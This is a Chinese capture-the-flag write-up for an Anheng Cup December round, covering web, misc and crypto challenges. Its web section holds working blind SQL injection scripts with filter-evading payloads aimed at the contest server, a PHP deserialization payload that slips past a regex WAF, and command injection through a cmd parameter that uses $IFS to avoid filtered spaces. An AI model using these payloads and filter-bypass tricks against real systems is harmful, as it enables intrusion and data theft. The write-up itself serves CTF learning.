        #payload = "?id=2%%0aand%%0a(select%%0a(select%%0agroup_concat(column_name)%%0afrom%%0ainformation_schema%%0a.columns%%0awhere%%0atable_name%%0abetween%%0a0x666c61676767%%0aand0x666c61676767%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())
        # 爆flag 
        #payload = "?id=2%%0aand%%0a(select%%0a(select%%0aflagg%%0afrom%%0aflaggg%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())#注flag
        url = "http://101.71.29.5:10008/show.php" + payload
        row = requests.get(url)
        #print (row.text)
        if '山西' not in row.text:
            if x in '0':
                x = '_'
            flag += chr(ord(x)-1)
            break
print(flag)

import requests
import binascii
import string
baseurl = 'http://101.71.29.5:10008/show.php?id=-1'
result = ''
answer = ''
flag = 0
for i in range(100):
    if flag == 0:
        for c in range(120,32,-1):
            if c == 33:
                flag = 1
            #payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
            #payload = '%0aor%0a(select(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)between%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
            #payload = '%0aor%0a(select(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand0x666c61676767)between%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
            payload = '%0aor%0a(select(select%0aflagg%0afrom%0aflaggg)between%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
            url = baseurl + payload
            a = requests.get(url)
            if '郑州烩面的价钱为10' in a.text:
                answer = answer + chr(c)
                result = result + hex(c)[2:4]
                print(result)
                break
print(answer)


最后这个是只爆flag的

# -- coding: UTF-8 -- 
import requests
import string


flag = 'flag{'
payload=flag.encode('hex')
list = string.digits+'abcdef'+'}'
for i in range(1,200):
    print (i)
    for j in range(len(list)):
        tmp1 = payload+'2f'
        tmp2 = payload+list[j].encode('hex')
        url = 'http://101.71.29.5:10008/show.php?id=if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)'
        r = requests.get(url)
        if '郑州烩面的价钱为10' in r.content:
            payload += list[j-1].encode('hex')
            print (payload.decode('hex'))
            break

MISC

1.Numeric password

打开压缩包解压后


安恒杯赛Write Up---(十二月赛)_第71张图片
image.png

打开txt文件、


安恒杯赛Write Up---(十二月赛)_第72张图片
image.png

分析题目,有两个重要提示,第一个提示是1-110个数字,第二个提示就是汉字对应相应的数字
结合标题Numeric password,百度110个数字密码,会有一份数字密码表

安恒杯赛Write Up---(十二月赛)_第73张图片
image.png

对比之后得到相应数字
观察发现数字范围在1895,ascii码可显示的字符范围在32126,对字符串移位,范围在20~32就可以,flag就在其中,脚本如下图所示:

content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,24,27,67,27,20,25,27,21,72,26,20,18,20,70,70,67,70,72,23,20,95]

flag = ""
for i in range(20,33):
    for j in content:
        flag += chr(j+i)
    print (flag)
    flag = ""
安恒杯赛Write Up---(十二月赛)_第74张图片
image.png

2.我的公子又在何方

image.png
image.png

但是解压时密码不对,看了下密码像base64加密,解密后解压成功,一张图片还有一个txt

安恒杯赛Write Up---(十二月赛)_第75张图片
image.png
image.png

百度识图发现是天仙配中的七仙女
经过一番尝试发现在StegoTool中需要输入Symmetic Key可以得到隐写内容,密码应该就是个人物名,刚开始以为是小七,试了下不对,后来有根据提示,我的公子在何方,猜测为dongyong,密码正确


安恒杯赛Write Up---(十二月赛)_第76张图片
image.png

得到一串字符U2FsdGVkX1+E3U0NYWvetAhb3vNfUXToWw0T0ntODmd3l1QiUuAG+6OVOPIDYf/DaCY+XtEX
应该也是经过加密的,在线解密试试,网址http://tool.oschina.net/encrypt/,尝试之后没有得到内容,试着使用密码“dongyong”在试一次,发现使用Rabbit加密算法得到flag,如下图所示:

安恒杯赛Write Up---(十二月赛)_第77张图片
image.png

3.大吉大利今晚吃你

打开浏览器,访问目标主机,下载附件,观看视频,没什么可用的东西
根据压缩包中的注释内容,百度得到一款工具DeEgger Embedder,如下图所示:

安恒杯赛Write Up---(十二月赛)_第78张图片
image.png
安恒杯赛Write Up---(十二月赛)_第79张图片
image.png

使用deegger-embedder还原隐藏信息,如下图:


安恒杯赛Write Up---(十二月赛)_第80张图片
image.png

还原出来是一个txt,看一下应该是png图片,修改后缀
得到一个图片,类似二维码

安恒杯赛Write Up---(十二月赛)_第81张图片
image.png

经过一番搜索发现是Maxi Code,在线识别地址https://zxing.org/w/decode.jspx,如下图:

安恒杯赛Write Up---(十二月赛)_第82张图片
image.png

得到flag{cevek_duvyk_hunuf_gesuf_dotyf_besif_fusif_nemyk_hexic,是一串BubbleBabble编码,尝试解码,发现有错,修改起始和结尾位置为x
因为BubbleBabble编码是以”x”开头和”x”结尾的
现在为止得到的只是flag的前半部分,使用winhex打开图片,发现结尾处有异样,如下图所示:


image.png

base64解码之后得到后半部分flag:“20526e189b2287a6}

附脚本

import bubblepy,base64

strs = "cevek_duvyk_hunuf_gesuf_dotyf_besif_fusif_nemyk_hexic"
strs = strs.replace('c','x')

flag1=str(bubblepy.BubbleBabble().decode(strs).decode('utf-8'))
flag2 = "flag{"+ flag1
flag3 = str(base64.b64decode("MjA1MjZlMTg5YjIyODdhNn0=").decode('utf-8'))

flag = flag2+flag3

print(flag)
image.png

密码学

1.仿射

这一题与仿射密码有关,可以先了解一下仿射密码
https://blog.csdn.net/qq_41725312/article/details/81067248
https://www.cnblogs.com/zishu/p/8650214.html

拿到题目,提示b=7,以及一串密码
achjbnpdfherebjsw

我不是太会仿射密码,只知道解密时需要a和b两个值,而我们只知道b的值,所以根据已知信息,跑一下a的值成功解密
自己写的脚本

from pycipher import Affine

for i in range(1,10):
    try:
        print(Affine(a=i,b=7).decipher('achjbnpdfherebjsw'))
    except:
        continue

安恒杯赛Write Up---(十二月赛)_第83张图片
image.png

这里有位大佬的脚本
我们知道仿射密码为

image

a的逆元取值范围在(1,9,21,15,3,19,7,23,11,5,17,25)

所以直接解密即可

image

import gmpy2
string = 'achjbnpdfherebjsw'
b=7
for i in (1,9,21,15,3,19,7,23,11,5,17,25):
    flag = ''
    for k in string:
        flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a'))
    print flag

2.好简单的密码学

这题没来的及看,附上一位大佬的WP
https://www.anquanke.com/post/id/166492#h2-6

十二月

WEB

easy

源码

file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

一看就是一道反序列化题,flag的文件名也给了,直接就尝试构造了一波序列化字符串

file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
    
    
}  
$flag = new baby('flag.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag);

echo $flag;
?>

http://101.71.29.5:10007/index.php?data=O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
结果发现不行,,这里为什么要替换4变成+4,参考了一篇大佬的题https://www.jianshu.com/p/f87052a1c5a9
与之相似,因为上面的waf----preg_match('/[oc]:\d+:/i',$data,$matches);,正则匹配正好匹配到了O:4:,因此要绕过这个,大佬给的是+4绕过,但是直接get提交不行,又想到url编码试一下,将+改为%2b还是不行,抓包修改了一下结果成功了,

安恒杯赛Write Up---(十二月赛)_第84张图片
image.png

这里也可以用smile大佬的方法直接fuzz,爆破一下4前面有没有可以绕过的。。


安恒杯赛Write Up---(十二月赛)_第85张图片
image.png

爆破发现只有%2b,也就是+4可以绕过

easyweb2

打开一个网站,抓包发现


安恒杯赛Write Up---(十二月赛)_第86张图片
image.png

后面有个user=dXNlcg%3D%3D,base64加密

安恒杯赛Write Up---(十二月赛)_第87张图片
image.png

解密后为user,可能设置了cookie为user
尝试后台可能为admin.php,然后将user改为admin进行base64,看看能不能进去
安恒杯赛Write Up---(十二月赛)_第88张图片
image.png

发现是可以的
然后抓包后台看看


安恒杯赛Write Up---(十二月赛)_第89张图片
image.png

有个cmd参数,尝试一些命令看看不能用


安恒杯赛Write Up---(十二月赛)_第90张图片
image.png

ls可以用,那应该其他的命令都能用了,查看根目录下的文件,发现空格被过滤了,根据以往的,有师傅用$IFS绕过空格
比如上个月做的一道ezsql


安恒杯赛Write Up---(十二月赛)_第91张图片
image.png

这题也可以


安恒杯赛Write Up---(十二月赛)_第92张图片
image.png
安恒杯赛Write Up---(十二月赛)_第93张图片
image.png

然后cat查看flag


安恒杯赛Write Up---(十二月赛)_第94张图片
image.png

MISC

MISC2签到题

替安恒打波广告
关注微信公众号安恒网络空间安全讲武堂回答问题得flag

JUJU

提示女朋友问我这11只JUJU哪只好看?(flag中的字符串md5后提交)
图片里没有11只JUJU,改个高度即可。

image.png

base32

安恒杯赛Write Up---(十二月赛)_第95张图片
image.png

学习资料

题目打开一个txt文件能看,另一个压缩包要密码


安恒杯赛Write Up---(十二月赛)_第96张图片
image.png

比较两个压缩包


安恒杯赛Write Up---(十二月赛)_第97张图片
image.png

其crc32值是相同的,因此可以使用明文攻击。将备忘录单独拿出来用winrar压缩为一个压缩包。然后和加密的压缩包进行明文攻击。
安恒杯赛Write Up---(十二月赛)_第98张图片
image.png

爆破成功后


安恒杯赛Write Up---(十二月赛)_第99张图片
image.png
安恒杯赛Write Up---(十二月赛)_第100张图片
image.png

没flag,拖动图片什么也没有,可能是word隐藏了文字


安恒杯赛Write Up---(十二月赛)_第101张图片
image.png

设置选项中勾选隐藏文字


安恒杯赛Write Up---(十二月赛)_第102张图片
image.png

也可以把word后缀改为zip,打开找word/document.xml即可

安恒杯赛Write Up---(十二月赛)_第103张图片
image.png

你可能感兴趣的:(安恒杯赛Write Up---(十二月赛))